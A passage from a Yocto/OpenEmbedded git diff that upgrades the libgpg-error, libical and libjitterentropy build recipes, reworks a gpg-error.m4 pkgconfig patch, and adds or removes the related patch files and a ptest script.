-- if test "$exec_prefix" = NONE ; then
-- exec_prefix_option_expanded=$prefix_option_expanded
-- else
-- exec_prefix_option_expanded=$(prefix=$prefix_option_expanded eval echo $exec_prefix)
-- fi
-- libdir_option_expanded=$(prefix=$prefix_option_expanded exec_prefix=$exec_prefix_option_expanded eval echo $libdir)
+-dnl
+-dnl Find gpgrt-config, which uses .pc file
+-dnl (minimum pkg-config functionality, supporting cross build)
+-dnl
+-dnl _AM_PATH_GPGRT_CONFIG
+-AC_DEFUN([_AM_PATH_GPGRT_CONFIG],[dnl
+- AC_PATH_PROG(GPGRT_CONFIG, gpgrt-config, no, [$prefix/bin:$PATH])
+- if test "$GPGRT_CONFIG" != "no"; then
+- # Determine gpgrt_libdir
+- #
+- # Get the prefix of gpgrt-config assuming it's something like:
+- # <PREFIX>/bin/gpgrt-config
+- gpgrt_prefix=${GPGRT_CONFIG%/*/*}
+- possible_libdir1=${gpgrt_prefix}/lib
+- # Determine by using system libdir-format with CC, it's like:
+- # Normal style: /usr/lib
+- # GNU cross style: /usr/<triplet>/lib
+- # Debian style: /usr/lib/<multiarch-name>
+- # Fedora/openSUSE style: /usr/lib, /usr/lib32 or /usr/lib64
+- # It is assumed that CC is specified to the one of host on cross build.
+- if libdir_candidates=$(${CC:-cc} -print-search-dirs | \
+- sed -n -e "/^libraries/{s/libraries: =//;s/:/\\
+-/g;p;}"); then
+- # From the output of -print-search-dirs, select valid pkgconfig dirs.
+- libdir_candidates=$(for dir in $libdir_candidates; do
+- if p=$(cd $dir 2>/dev/null && pwd); then
+- test -d "$p/pkgconfig" && echo $p;
+- fi
+- done)
-
-- if test -f $libdir_option_expanded/pkgconfig/gpg-error.pc; then
-- gpgrt_libdir=$libdir_option_expanded
-- else
-- if crt1_path=$(${CC:-cc} -print-file-name=crt1.o 2>/dev/null); then
-- if possible_libdir=$(cd ${crt1_path%/*} && pwd 2>/dev/null); then
-- if test -f $possible_libdir/pkgconfig/gpg-error.pc; then
-- gpgrt_libdir=$possible_libdir
+- for possible_libdir0 in $libdir_candidates; do
+- # possible_libdir0:
+- # Fallback candidate, the one of system-installed (by $CC)
+- # (/usr/<triplet>/lib, /usr/lib/<multiarch-name> or /usr/lib32)
+- # possible_libdir1:
+- # Another candidate, user-locally-installed
+- # (<gpgrt_prefix>/lib)
+- # possible_libdir2
+- # Most preferred
+- # (<gpgrt_prefix>/<triplet>/lib,
+- # <gpgrt_prefix>/lib/<multiarch-name> or <gpgrt_prefix>/lib32)
+- if test "${possible_libdir0##*/}" = "lib"; then
+- possible_prefix0=${possible_libdir0%/lib}
+- possible_prefix0_triplet=${possible_prefix0##*/}
+- if test -z "$possible_prefix0_triplet"; then
+- continue
+- fi
+- possible_libdir2=${gpgrt_prefix}/$possible_prefix0_triplet/lib
+- else
+- possible_prefix0=${possible_libdir0%%/lib*}
+- possible_libdir2=${gpgrt_prefix}${possible_libdir0#$possible_prefix0}
+- fi
+- if test -f ${possible_libdir2}/pkgconfig/gpg-error.pc; then
+- gpgrt_libdir=${possible_libdir2}
+- elif test -f ${possible_libdir1}/pkgconfig/gpg-error.pc; then
+- gpgrt_libdir=${possible_libdir1}
+- elif test -f ${possible_libdir0}/pkgconfig/gpg-error.pc; then
+- gpgrt_libdir=${possible_libdir0}
- fi
-- fi
+- if test -n "$gpgrt_libdir"; then break; fi
+- done
- fi
+- if test -z "$gpgrt_libdir"; then
+- # No valid pkgconfig dir in any of the system directories, fallback
+- gpgrt_libdir=${possible_libdir1}
+- fi
+- else
+- unset GPGRT_CONFIG
- fi
-
-- if test "$GPG_ERROR_CONFIG" = "no" -a -n "$gpgrt_libdir"; then
-- AC_PATH_PROG(GPGRT_CONFIG, gpgrt-config, no)
-- if test "$GPGRT_CONFIG" = "no"; then
-- unset GPGRT_CONFIG
+- if test -n "$gpgrt_libdir"; then
+- GPGRT_CONFIG="$GPGRT_CONFIG --libdir=$gpgrt_libdir"
+- if $GPGRT_CONFIG gpg-error >/dev/null 2>&1; then
+- GPG_ERROR_CONFIG="$GPGRT_CONFIG gpg-error"
+- AC_MSG_NOTICE([Use gpgrt-config with $gpgrt_libdir as gpg-error-config])
+- gpg_error_config_version=`$GPG_ERROR_CONFIG --modversion`
- else
-- GPGRT_CONFIG="$GPGRT_CONFIG --libdir=$gpgrt_libdir"
-- if $GPGRT_CONFIG gpg-error >/dev/null 2>&1; then
-- GPG_ERROR_CONFIG="$GPGRT_CONFIG gpg-error"
-- AC_MSG_NOTICE([Use gpgrt-config with $gpgrt_libdir as gpg-error-config])
-- gpg_error_config_version=`$GPG_ERROR_CONFIG --modversion`
-- else
-- unset GPGRT_CONFIG
-- fi
+- gpg_error_config_version=`$GPG_ERROR_CONFIG --version`
+- unset GPGRT_CONFIG
- fi
-- else
+- elif test "$GPG_ERROR_CONFIG" != "no"; then
- gpg_error_config_version=`$GPG_ERROR_CONFIG --version`
+- unset GPGRT_CONFIG
- fi
+-])
+-
+-dnl AM_PATH_GPG_ERROR([MINIMUM-VERSION,
+-dnl [ACTION-IF-FOUND [, ACTION-IF-NOT-FOUND ]]])
+-dnl
+-dnl Test for libgpg-error and define GPG_ERROR_CFLAGS, GPG_ERROR_LIBS,
+-dnl GPG_ERROR_MT_CFLAGS, and GPG_ERROR_MT_LIBS. The _MT_ variants are
+-dnl used for programs requireing real multi thread support.
+-dnl
+-dnl If a prefix option is not used, the config script is first
+-dnl searched in $SYSROOT/bin and then along $PATH. If the used
+-dnl config script does not match the host specification the script
+-dnl is added to the gpg_config_script_warn variable.
+-dnl
+-AC_DEFUN([AM_PATH_GPG_ERROR],[dnl
+-AC_REQUIRE([AC_CANONICAL_HOST])dnl
+-AC_REQUIRE([_AM_PATH_POSSIBLE_GPG_ERROR_CONFIG])dnl
+-AC_REQUIRE([_AM_PATH_GPGRT_CONFIG])dnl
+- min_gpg_error_version=ifelse([$1], ,1.33,$1)
+- ok=no
- if test "$GPG_ERROR_CONFIG" != "no"; then
- req_major=`echo $min_gpg_error_version | \
- sed 's/\([[0-9]]*\)\.\([[0-9]]*\)/\1/'`
@@ -125,24 +186,12 @@ Index: libgpg-error-1.33/src/gpg-error.m4
- fi
- fi
- fi
-- if test -z "$GPGRT_CONFIG" -a -n "$gpgrt_libdir"; then
-- if test "$major" -gt 1 -o "$major" -eq 1 -a "$minor" -ge 33; then
-- AC_PATH_PROG(GPGRT_CONFIG, gpgrt-config, no)
-- if test "$GPGRT_CONFIG" = "no"; then
-- unset GPGRT_CONFIG
-- else
-- GPGRT_CONFIG="$GPGRT_CONFIG --libdir=$gpgrt_libdir"
-- if $GPGRT_CONFIG gpg-error >/dev/null 2>&1; then
-- GPG_ERROR_CONFIG="$GPGRT_CONFIG gpg-error"
-- AC_MSG_NOTICE([Use gpgrt-config with $gpgrt_libdir as gpg-error-config])
-- else
-- unset GPGRT_CONFIG
-- fi
-- fi
-- fi
-- fi
- fi
- AC_MSG_CHECKING(for GPG Error - version >= $min_gpg_error_version)
++AC_DEFUN([AM_PATH_GPG_ERROR],
++[ AC_REQUIRE([AC_CANONICAL_HOST])
++ min_gpg_error_version=ifelse([$1], ,0.0,$1)
++ PKG_CHECK_MODULES(GPG_ERROR, [gpg-error >= $min_gpg_error_version], [ok=yes], [ok=no])
if test $ok = yes; then
- GPG_ERROR_CFLAGS=`$GPG_ERROR_CONFIG --cflags`
- GPG_ERROR_LIBS=`$GPG_ERROR_CONFIG --libs`
@@ -165,7 +214,7 @@ Index: libgpg-error-1.33/src/gpg-error.m4
fi
if test x"$gpg_error_config_host" != xnone ; then
if test x"$gpg_error_config_host" != x"$host" ; then
-@@ -174,15 +48,6 @@ AC_DEFUN([AM_PATH_GPG_ERROR],
+@@ -211,15 +38,6 @@ AC_REQUIRE([_AM_PATH_GPGRT_CONFIG])dnl
fi
fi
else
diff --git a/meta/recipes-support/libgpg-error/libgpg-error/run-ptest b/meta/recipes-support/libgpg-error/libgpg-error/run-ptest
new file mode 100644
index 0000000000..2d23159eb0
--- /dev/null
+++ b/meta/recipes-support/libgpg-error/libgpg-error/run-ptest
@@ -0,0 +1,3 @@
+#!/bin/sh
+
+make -o Makefile runtest-TESTS
diff --git a/meta/recipes-support/libgpg-error/libgpg-error_1.38.bb b/meta/recipes-support/libgpg-error/libgpg-error_1.38.bb
deleted file mode 100644
index 9a3ec9b5bd..0000000000
--- a/meta/recipes-support/libgpg-error/libgpg-error_1.38.bb
+++ /dev/null
@@ -1,42 +0,0 @@
-SUMMARY = "Small library that defines common error values for all GnuPG components"
-HOMEPAGE = "http://www.gnupg.org/related_software/libgpg-error/"
-BUGTRACKER = "https://bugs.g10code.com/gnupg/index"
-
-LICENSE = "GPLv2+ & LGPLv2.1+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=59530bdf33659b29e73d4adb9f9f6552 \
- file://COPYING.LIB;md5=2d5025d4aa3495befef8f17206a5b0a1 \
- file://src/gpg-error.h.in;beginline=2;endline=18;md5=d82591bc81561f617da71e00ff4a9d79 \
- file://src/init.c;beginline=2;endline=17;md5=f01cdfcf747af5380590cfd9bbfeaaf7 \
- "
-
-
-SECTION = "libs"
-
-UPSTREAM_CHECK_URI = "https://gnupg.org/download/index.html"
-SRC_URI = "${GNUPG_MIRROR}/libgpg-error/libgpg-error-${PV}.tar.bz2 \
- file://pkgconfig.patch \
- file://0001-Do-not-fail-when-testing-config-scripts.patch \
- file://0003-build-Fix-cross-compiling-into-a-separate-build-dir.patch \
- file://0005-src-gen-lock-obj.sh-add-a-file.patch \
- "
-
-SRC_URI[sha256sum] = "d8988275aa69d7149f931c10442e9e34c0242674249e171592b430ff7b3afd02"
-
-BINCONFIG = "${bindir}/gpg-error-config"
-
-inherit autotools binconfig-disabled pkgconfig gettext multilib_header multilib_script
-
-MULTILIB_SCRIPTS = "${PN}-dev:${bindir}/gpgrt-config"
-
-CPPFLAGS += "-P"
-
-do_install_append() {
- # we don't have common lisp in OE
- rm -rf "${D}${datadir}/common-lisp/"
- oe_multilib_header gpg-error.h gpgrt.h
-}
-
-FILES_${PN}-dev += "${bindir}/gpg-error"
-FILES_${PN}-doc += "${datadir}/libgpg-error/errorref.txt"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/libgpg-error/libgpg-error_1.48.bb b/meta/recipes-support/libgpg-error/libgpg-error_1.48.bb
new file mode 100644
index 0000000000..9f2b49209d
--- /dev/null
+++ b/meta/recipes-support/libgpg-error/libgpg-error_1.48.bb
@@ -0,0 +1,53 @@
+SUMMARY = "Small library that defines common error values for all GnuPG components"
+DESCRIPTION = "Contains common error codes and error handling functions used by GnuPG, Libgcrypt, GPGME and more packages. "
+HOMEPAGE = "http://www.gnupg.org/related_software/libgpg-error/"
+BUGTRACKER = "https://bugs.g10code.com/gnupg/index"
+
+LICENSE = "GPL-2.0-or-later & LGPL-2.1-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=59530bdf33659b29e73d4adb9f9f6552 \
+ file://COPYING.LIB;md5=2d5025d4aa3495befef8f17206a5b0a1 \
+ file://src/gpg-error.h.in;beginline=2;endline=18;md5=20f4cf5d81ea2fad18f6297500018654 \
+ file://src/init.c;beginline=2;endline=17;md5=f01cdfcf747af5380590cfd9bbfeaaf7 \
+ "
+
+
+SECTION = "libs"
+
+UPSTREAM_CHECK_URI = "https://gnupg.org/download/index.html"
+SRC_URI = "${GNUPG_MIRROR}/libgpg-error/libgpg-error-${PV}.tar.bz2 \
+ file://pkgconfig.patch \
+ file://0001-Do-not-fail-when-testing-config-scripts.patch \
+ file://run-ptest \
+ "
+
+SRC_URI[sha256sum] = "89ce1ae893e122924b858de84dc4f67aae29ffa610ebf668d5aa539045663d6f"
+
+BINCONFIG = "${bindir}/gpg-error-config"
+
+inherit autotools binconfig-disabled pkgconfig gettext multilib_header multilib_script ptest
+
+RDEPENDS:${PN}-ptest:append = " make bash"
+
+MULTILIB_SCRIPTS = "${PN}-dev:${bindir}/gpgrt-config"
+
+CPPFLAGS += "-P"
+
+do_install:append() {
+ # we don't have common lisp in OE
+ rm -rf "${D}${datadir}/common-lisp/"
+ oe_multilib_header gpg-error.h gpgrt.h
+}
+
+do_compile_ptest() {
+ oe_runmake -C tests buildtest-TESTS
+}
+
+do_install_ptest() {
+ install ${B}/tests/t-*[!\.o] ${D}${PTEST_PATH}
+ install ${B}/tests/Makefile ${D}${PTEST_PATH}
+}
+
+FILES:${PN}-dev += "${bindir}/gpg-error"
+FILES:${PN}-doc += "${datadir}/libgpg-error/errorref.txt"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/libical/libical/0001-Use-our-hand-build-native-src-generator.patch b/meta/recipes-support/libical/libical/0001-Use-our-hand-build-native-src-generator.patch
deleted file mode 100644
index b7b757d74b..0000000000
--- a/meta/recipes-support/libical/libical/0001-Use-our-hand-build-native-src-generator.patch
+++ /dev/null
@@ -1,33 +0,0 @@
-From e33bc310238bba1690f2c71ad333e10b9e422ea9 Mon Sep 17 00:00:00 2001
-From: =?UTF-8?q?Andreas=20M=C3=BCller?= <schnitzeltony@gmail.com>
-Date: Sat, 19 Oct 2019 14:23:06 +0200
-Subject: [PATCH] Use our hand-build native src-generator
-MIME-Version: 1.0
-Content-Type: text/plain; charset=UTF-8
-Content-Transfer-Encoding: 8bit
-
-Upstream-Status: Inappropriate [oe-core specific]
-
-Signed-off-by: Andreas Müller <schnitzeltony@gmail.com>
----
- src/libical-glib/CMakeLists.txt | 4 ++--
- 1 file changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/src/libical-glib/CMakeLists.txt b/src/libical-glib/CMakeLists.txt
-index f3704e6..ce9db16 100644
---- a/src/libical-glib/CMakeLists.txt
-+++ b/src/libical-glib/CMakeLists.txt
-@@ -63,8 +63,8 @@ endforeach()
-
- add_custom_command (
- OUTPUT ${LIBICAL_GLIB_SOURCES} ${CMAKE_CURRENT_BINARY_DIR}/libical-glib-private.h ${CMAKE_CURRENT_BINARY_DIR}/i-cal-forward-declarations.h
-- COMMAND ${EXECUTABLE_OUTPUT_PATH}/src-generator "${CMAKE_CURRENT_SOURCE_DIR}/tools" "${CMAKE_CURRENT_SOURCE_DIR}/api"
-- DEPENDS ${EXECUTABLE_OUTPUT_PATH}/src-generator ${xml_files}
-+ COMMAND ${CMAKE_BINARY_DIR}/src-generator "${CMAKE_CURRENT_SOURCE_DIR}/tools" "${CMAKE_CURRENT_SOURCE_DIR}/api"
-+ DEPENDS ${CMAKE_BINARY_DIR}/src-generator ${xml_files}
- )
-
- configure_file(
---
-2.21.0
-
diff --git a/meta/recipes-support/libical/libical/0001-cmake-Do-not-export-CC-into-gir-compiler.patch b/meta/recipes-support/libical/libical/0001-cmake-Do-not-export-CC-into-gir-compiler.patch
new file mode 100644
index 0000000000..3841c060ee
--- /dev/null
+++ b/meta/recipes-support/libical/libical/0001-cmake-Do-not-export-CC-into-gir-compiler.patch
@@ -0,0 +1,33 @@
+From c06d8a8990c996cbb854508a944202ba70ba7a7c Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Thu, 3 Mar 2022 20:10:04 -0800
+Subject: [PATCH] cmake: Do not export CC into gir compiler
+
+this helps cross compilers where full compiler commandline defines the
+compiler rather than just CC variable, therefore let it use the default
+values from environment and not synthesize it from CMAKE_C_COMPILER just
+for this case.
+
+Upstream-Status: Submitted [https://github.com/libical/libical/pull/552]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ cmake/modules/GObjectIntrospectionMacros.cmake | 3 +--
+ 1 file changed, 1 insertion(+), 2 deletions(-)
+
+diff --git a/cmake/modules/GObjectIntrospectionMacros.cmake b/cmake/modules/GObjectIntrospectionMacros.cmake
+index 83aff931..d7d3f898 100644
+--- a/cmake/modules/GObjectIntrospectionMacros.cmake
++++ b/cmake/modules/GObjectIntrospectionMacros.cmake
+@@ -50,8 +50,7 @@ macro(gir_add_introspections introspections_girs)
+ set(_gir_libtool "--no-libtool")
+
+ add_custom_command(
+- COMMAND ${CMAKE_COMMAND} -E env "CC='${CMAKE_C_COMPILER}'"
+- ${GObjectIntrospection_SCANNER}
++ COMMAND ${GObjectIntrospection_SCANNER}
+ ${GObjectIntrospection_SCANNER_ARGS}
+ --namespace=${_gir_namespace}
+ --nsversion=${_gir_version}
+--
+2.35.1
+
diff --git a/meta/recipes-support/libical/libical_3.0.18.bb b/meta/recipes-support/libical/libical_3.0.18.bb
new file mode 100644
index 0000000000..040d23b69d
--- /dev/null
+++ b/meta/recipes-support/libical/libical_3.0.18.bb
@@ -0,0 +1,54 @@
+SUMMARY = "iCal and scheduling (RFC 2445, 2446, 2447) library"
+DESCRIPTION = "An Open Source implementation of the iCalendar protocols \
+and protocol data units. The iCalendar specification describes how \
+calendar clients can communicate with calendar servers so users can store \
+their calendar data and arrange meetings with other users. "
+HOMEPAGE = "https://github.com/libical/libical"
+BUGTRACKER = "https://github.com/libical/libical/issues"
+LICENSE = "LGPL-2.1-only | MPL-2.0"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=1910a2a76ddf6a9ba369182494170d87 \
+ file://LICENSE.LGPL21.txt;md5=8f690bb538f4b301d931374a6eb864d0 \
+ file://LICENSE.MPL2.txt;md5=f75d2927d3c1ed2414ef72048f5ad640 \
+ "
+SECTION = "libs"
+
+SRC_URI = "${GITHUB_BASE_URI}/download/v${PV}/${BP}.tar.gz \
+ file://0001-cmake-Do-not-export-CC-into-gir-compiler.patch \
+ "
+SRC_URI[sha256sum] = "72b7dc1a5937533aee5a2baefc990983b66b141dd80d43b51f80aced4aae219c"
+
+inherit cmake pkgconfig gobject-introspection vala github-releases
+
+DEPENDS += "libical-native"
+
+PACKAGECONFIG ??= "icu glib"
+PACKAGECONFIG[bdb] = ",-DCMAKE_DISABLE_FIND_PACKAGE_BDB=True,db"
+PACKAGECONFIG[glib] = "-DICAL_GLIB=True,-DICAL_GLIB=False,glib-2.0-native libxml2-native glib-2.0 libxml2"
+# ICU is used for RSCALE (RFC7529) support
+PACKAGECONFIG[icu] = ",-DCMAKE_DISABLE_FIND_PACKAGE_ICU=True,icu"
+
+# No need to use perl-native, the host perl is sufficient.
+EXTRA_OECMAKE += "-DPERL_EXECUTABLE=${HOSTTOOLS_DIR}/perl"
+# Disable the test suite as we can't install it
+EXTRA_OECMAKE += "-DLIBICAL_BUILD_TESTING=false"
+# doc build fails with linker error (??) for libical-glib so disable it
+EXTRA_OECMAKE += "-DICAL_BUILD_DOCS=false"
+# gobject-introspection
+EXTRA_OECMAKE:append:class-target = " -DGObjectIntrospection_COMPILER=${STAGING_BINDIR}/g-ir-compiler-wrapper"
+EXTRA_OECMAKE:append:class-target = " -DGObjectIntrospection_SCANNER=${STAGING_BINDIR}/g-ir-scanner-wrapper"
+EXTRA_OECMAKE += "-DVAPIGEN=${STAGING_BINDIR_NATIVE}/vapigen"
+EXTRA_OECMAKE += "${@bb.utils.contains('GI_DATA_ENABLED', 'True', '-DGOBJECT_INTROSPECTION=ON -DICAL_GLIB_VAPI=ON', '-DGOBJECT_INTROSPECTION=OFF', d)}"
+
+# Tell the cross-libical where the tool it needs to build is
+EXTRA_OECMAKE:append:class-target = " -DIMPORT_ICAL_GLIB_SRC_GENERATOR=${STAGING_LIBDIR_NATIVE}/cmake/LibIcal/IcalGlibSrcGenerator.cmake"
+
+do_install:append () {
+ # Remove build host references (https://github.com/libical/libical/issues/532)
+ sed -i \
+ -e 's,${STAGING_LIBDIR},${libdir},g' \
+ -e 's,${STAGING_INCDIR},${includedir},g' \
+ ${D}${libdir}/cmake/LibIcal/LibIcal*.cmake \
+ ${D}${libdir}/cmake/LibIcal/Ical*.cmake
+}
+
+BBCLASSEXTEND = "native"
diff --git a/meta/recipes-support/libical/libical_3.0.8.bb b/meta/recipes-support/libical/libical_3.0.8.bb
deleted file mode 100644
index efb9433412..0000000000
--- a/meta/recipes-support/libical/libical_3.0.8.bb
+++ /dev/null
@@ -1,45 +0,0 @@
-SUMMARY = "iCal and scheduling (RFC 2445, 2446, 2447) library"
-HOMEPAGE = "https://github.com/libical/libical"
-BUGTRACKER = "https://github.com/libical/libical/issues"
-LICENSE = "LGPLv2.1 | MPL-2.0"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=1910a2a76ddf6a9ba369182494170d87 \
- file://LICENSE.LGPL21.txt;md5=933adb561f159e7c3da079536f0ed871 \
- file://LICENSE.MPL2.txt;md5=f75d2927d3c1ed2414ef72048f5ad640 \
- "
-SECTION = "libs"
-
-SRC_URI = " \
- https://github.com/${BPN}/${BPN}/releases/download/v${PV}/${BP}.tar.gz \
- file://0001-Use-our-hand-build-native-src-generator.patch \
-"
-SRC_URI[md5sum] = "41bd1f1fcdcb4779cea478bb55cf07bf"
-SRC_URI[sha256sum] = "09fecacaf75ba5a242159e3a9758a5446b5ce4d0ab684f98a7040864e1d1286f"
-UPSTREAM_CHECK_URI = "https://github.com/libical/libical/releases"
-
-inherit cmake pkgconfig
-
-do_compile_prepend() {
- # As long as https://github.com/libical/libical/issues/394 is open build native src-generator manually
- NATIVE_CFLAGS="${BUILD_CFLAGS} `pkg-config-native --cflags glib-2.0` `pkg-config-native --cflags libxml-2.0`"
- NATIVE_LDFLAGS="${BUILD_LDFLAGS} `pkg-config-native --libs glib-2.0` `pkg-config-native --libs libxml-2.0`"
- ${BUILD_CC} $NATIVE_CFLAGS ${S}/src/libical-glib/tools/generator.c ${S}/src/libical-glib/tools/xml-parser.c -o ${B}/src-generator $NATIVE_LDFLAGS
-}
-
-PACKAGECONFIG ??= "icu glib"
-PACKAGECONFIG[bdb] = ",-DCMAKE_DISABLE_FIND_PACKAGE_BDB=True,db"
-PACKAGECONFIG[glib] = "-DICAL_GLIB=True,-DICAL_GLIB=False,glib-2.0-native libxml2-native glib-2.0 libxml2"
-# ICU is used for RSCALE (RFC7529) support
-PACKAGECONFIG[icu] = ",-DCMAKE_DISABLE_FIND_PACKAGE_ICU=True,icu"
-
-# No need to use perl-native, the host perl is sufficient.
-EXTRA_OECMAKE += "-DPERL_EXECUTABLE=${HOSTTOOLS_DIR}/perl"
-# doc build fails with linker error (??) for libical-glib so disable it
-EXTRA_OECMAKE += "-DICAL_BUILD_DOCS=false"
-
-do_install_append () {
- # Remove build host references
- sed -i \
- -e 's,${STAGING_LIBDIR},${libdir},g' \
- -e 's,${STAGING_INCDIR},${includedir},g' \
- ${D}${libdir}/cmake/LibIcal/LibIcal*.cmake
-}
diff --git a/meta/recipes-support/libjitterentropy/files/0001-Make-man-pages-reproducible.patch b/meta/recipes-support/libjitterentropy/files/0001-Make-man-pages-reproducible.patch
deleted file mode 100644
index 57b336c0c0..0000000000
--- a/meta/recipes-support/libjitterentropy/files/0001-Make-man-pages-reproducible.patch
+++ /dev/null
@@ -1,30 +0,0 @@
-From ce091718716400119d6be6bd637c0e3f4f6ca315 Mon Sep 17 00:00:00 2001
-From: Joshua Watt <JPEWhacker@gmail.com>
-Date: Thu, 21 Nov 2019 08:07:41 -0600
-Subject: [PATCH] Make man pages reproducible
-
-Instructs the man page to be gzip'ed without the file name or timestamp
-so that it builds reproducibly.
-
-Upstream-Status: Backport [https://github.com/smuellerDD/jitterentropy-library/pull/14]
-Signed-off-by: Joshua Watt <JPEWhacker@gmail.com>
----
- Makefile | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/Makefile b/Makefile
-index 2e78607..860b720 100644
---- a/Makefile
-+++ b/Makefile
-@@ -60,7 +60,7 @@ cppcheck:
- install:
- install -d -m 0755 $(DESTDIR)$(PREFIX)/share/man/man3
- install -m 644 doc/$(NAME).3 $(DESTDIR)$(PREFIX)/share/man/man3/
-- gzip -f -9 $(DESTDIR)$(PREFIX)/share/man/man3/$(NAME).3
-+ gzip -n -f -9 $(DESTDIR)$(PREFIX)/share/man/man3/$(NAME).3
- install -d -m 0755 $(DESTDIR)$(PREFIX)/$(LIBDIR)
- $(INSTALL_STRIP) -m 0755 lib$(NAME).so.$(LIBVERSION) $(DESTDIR)$(PREFIX)/$(LIBDIR)/
- install -d -m 0755 $(DESTDIR)$(PREFIX)/$(INCDIR)
---
-2.23.0
-
diff --git a/meta/recipes-support/libjitterentropy/files/0001-Makefile-cleanup-install-for-rebuilds.patch b/meta/recipes-support/libjitterentropy/files/0001-Makefile-cleanup-install-for-rebuilds.patch
deleted file mode 100644
index 9af334ce2c..0000000000
--- a/meta/recipes-support/libjitterentropy/files/0001-Makefile-cleanup-install-for-rebuilds.patch
+++ /dev/null
@@ -1,56 +0,0 @@
-From 060b9b4147f6e5ff386a8b017796118d783e59fa Mon Sep 17 00:00:00 2001
-From: Matt Weber <matthew.weber@rockwellcollins.com>
-Date: Tue, 22 Oct 2019 12:44:30 -0500
-Subject: [PATCH] Makefile: cleanup install for rebuilds
-
-Support the ability to rebuild and redeploy without a clean. This
-required some force linking and man archive creation.
-
-Provide the ability to override the stripping of the shared lib for
-cases where a embedded target build may want to control stripping
-or provide cross arch tools.
-
-Upstream-Status: Backport [060b9b4147f6e5ff386a8b017796118d783e59fa]
-Signed-off-by: Matthew Weber <matthew.weber@rockwellcollins.com>
-Signed-off-by: Stephan Mueller <smueller@chronox.de>
-Signed-off-by: Joshua Watt <JPEWhacker@gmail.com>
----
- Makefile | 10 ++++++----
- 1 file changed, 6 insertions(+), 4 deletions(-)
-
-diff --git a/Makefile b/Makefile
-index 4ff069b..2e78607 100644
---- a/Makefile
-+++ b/Makefile
-@@ -14,6 +14,8 @@ LIBDIR := lib
- # include target directory
- INCDIR := include
-
-+INSTALL_STRIP ?= install -s
-+
- NAME := jitterentropy
- LIBMAJOR=$(shell cat jitterentropy-base.c | grep define | grep MAJVERSION | awk '{print $$3}')
- LIBMINOR=$(shell cat jitterentropy-base.c | grep define | grep MINVERSION | awk '{print $$3}')
-@@ -58,15 +60,15 @@ cppcheck:
- install:
- install -d -m 0755 $(DESTDIR)$(PREFIX)/share/man/man3
- install -m 644 doc/$(NAME).3 $(DESTDIR)$(PREFIX)/share/man/man3/
-- gzip -9 $(DESTDIR)$(PREFIX)/share/man/man3/$(NAME).3
-+ gzip -f -9 $(DESTDIR)$(PREFIX)/share/man/man3/$(NAME).3
- install -d -m 0755 $(DESTDIR)$(PREFIX)/$(LIBDIR)
-- install -m 0755 -s lib$(NAME).so.$(LIBVERSION) $(DESTDIR)$(PREFIX)/$(LIBDIR)/
-+ $(INSTALL_STRIP) -m 0755 lib$(NAME).so.$(LIBVERSION) $(DESTDIR)$(PREFIX)/$(LIBDIR)/
- install -d -m 0755 $(DESTDIR)$(PREFIX)/$(INCDIR)
- install -m 0644 jitterentropy.h $(DESTDIR)$(PREFIX)/$(INCDIR)/
- install -m 0644 jitterentropy-base-user.h $(DESTDIR)$(PREFIX)/$(INCDIR)/
- $(RM) $(DESTDIR)$(PREFIX)/$(LIBDIR)/lib$(NAME).so.$(LIBMAJOR)
-- ln -s lib$(NAME).so.$(LIBVERSION) $(DESTDIR)$(PREFIX)/$(LIBDIR)/lib$(NAME).so.$(LIBMAJOR)
-- ln -s lib$(NAME).so.$(LIBMAJOR) $(DESTDIR)$(PREFIX)/$(LIBDIR)/lib$(NAME).so
-+ ln -sf lib$(NAME).so.$(LIBVERSION) $(DESTDIR)$(PREFIX)/$(LIBDIR)/lib$(NAME).so.$(LIBMAJOR)
-+ ln -sf lib$(NAME).so.$(LIBMAJOR) $(DESTDIR)$(PREFIX)/$(LIBDIR)/lib$(NAME).so
-
- clean:
- @- $(RM) $(NAME)
---
-2.23.0
-
diff --git a/meta/recipes-support/libjitterentropy/libjitterentropy_2.2.0.bb b/meta/recipes-support/libjitterentropy/libjitterentropy_2.2.0.bb
deleted file mode 100644
index 710ef0172d..0000000000
--- a/meta/recipes-support/libjitterentropy/libjitterentropy_2.2.0.bb
+++ /dev/null
@@ -1,29 +0,0 @@
-SUMMARY = "Hardware RNG based on CPU timing jitter"
-DESCRIPTION = "The Jitter RNG provides a noise source using the CPU execution timing jitter. \
-It does not depend on any system resource other than a high-resolution time \
-stamp. It is a small-scale, yet fast entropy source that is viable in almost \
-all environments and on a lot of CPU architectures."
-HOMEPAGE = "http://www.chronox.de/jent.html"
-LICENSE = "GPLv2+ | BSD"
-LIC_FILES_CHKSUM = "file://COPYING;md5=a95aadbdfae7ed812bb2b7b86eb5981c \
- file://COPYING.gplv2;md5=eb723b61539feef013de476e68b5c50a \
- file://COPYING.bsd;md5=66a5cedaf62c4b2637025f049f9b826f \
- "
-SRC_URI = "git://github.com/smuellerDD/jitterentropy-library.git \
- file://0001-Makefile-cleanup-install-for-rebuilds.patch \
- file://0001-Make-man-pages-reproducible.patch"
-SRCREV = "933a44f33ed3d6612f7cfaa7ad1207c8da4886ba"
-S = "${WORKDIR}/git"
-
-do_configure[noexec] = "1"
-
-LDFLAGS += "-Wl,-O0"
-
-do_install () {
- oe_runmake install INCDIR="/include" \
- DESTDIR="${D}" \
- PREFIX="${exec_prefix}" \
- LIBDIR="${baselib}" \
- INSTALL_STRIP="install"
-}
-
diff --git a/meta/recipes-support/libjitterentropy/libjitterentropy_3.4.1.bb b/meta/recipes-support/libjitterentropy/libjitterentropy_3.4.1.bb
new file mode 100644
index 0000000000..6cef8c068c
--- /dev/null
+++ b/meta/recipes-support/libjitterentropy/libjitterentropy_3.4.1.bb
@@ -0,0 +1,27 @@
+SUMMARY = "Hardware RNG based on CPU timing jitter"
+DESCRIPTION = "The Jitter RNG provides a noise source using the CPU execution timing jitter. \
+It does not depend on any system resource other than a high-resolution time \
+stamp. It is a small-scale, yet fast entropy source that is viable in almost \
+all environments and on a lot of CPU architectures."
+HOMEPAGE = "http://www.chronox.de/jent.html"
